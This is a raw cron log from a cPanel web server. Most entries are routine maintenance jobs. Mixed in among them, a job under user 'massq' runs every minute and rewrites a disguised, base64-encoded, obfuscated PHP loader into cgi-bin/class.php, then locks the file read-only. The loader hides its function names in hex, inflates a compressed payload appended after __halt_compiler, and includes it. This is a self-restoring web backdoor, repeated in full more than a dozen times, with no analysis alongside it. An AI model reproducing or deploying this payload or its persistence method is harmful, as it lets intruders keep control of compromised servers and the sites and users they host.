Sep  1 21:12:01 server CROND[4413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:12:01 server CROND[4414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:12:01 server CROND[4415]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:12:01 server CROND[4416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:13:01 server CROND[4799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:13:01 server CROND[4800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:13:01 server CROND[4801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:14:01 server CROND[5273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:14:01 server CROND[5274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:14:01 server CROND[5275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:15:01 server CROND[5840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:15:01 server CROND[5842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:15:01 server CROND[5844]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:15:01 server CROND[5847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:15:01 server CROND[5848]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 21:15:01 server CROND[5849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:15:01 server CROND[5845]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:15:01 server CROND[5846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:16:01 server CROND[6722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:16:01 server CROND[6723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:16:01 server CROND[6724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:17:01 server CROND[7093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:17:01 server CROND[7094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:17:01 server CROND[7095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:18:01 server CROND[7473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:18:01 server CROND[7474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:18:01 server CROND[7475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:19:01 server CROND[7948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:19:01 server CROND[7949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:19:01 server CROND[7950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:20:01 server CROND[8329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:20:01 server CROND[8332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:20:01 server CROND[8335]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:20:01 server CROND[8343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:20:01 server CROND[8344]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:20:01 server CROND[8346]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 21:20:01 server CROND[8351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:20:01 server CROND[8347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:20:01 server CROND[8350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:21:01 server CROND[9176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:21:01 server CROND[9177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:21:01 server CROND[9178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:22:01 server CROND[9554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:22:01 server CROND[9555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:22:01 server CROND[9556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:23:01 server CROND[9989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:23:01 server CROND[9990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:23:01 server CROND[9991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:24:01 server CROND[10528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:24:01 server CROND[10530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
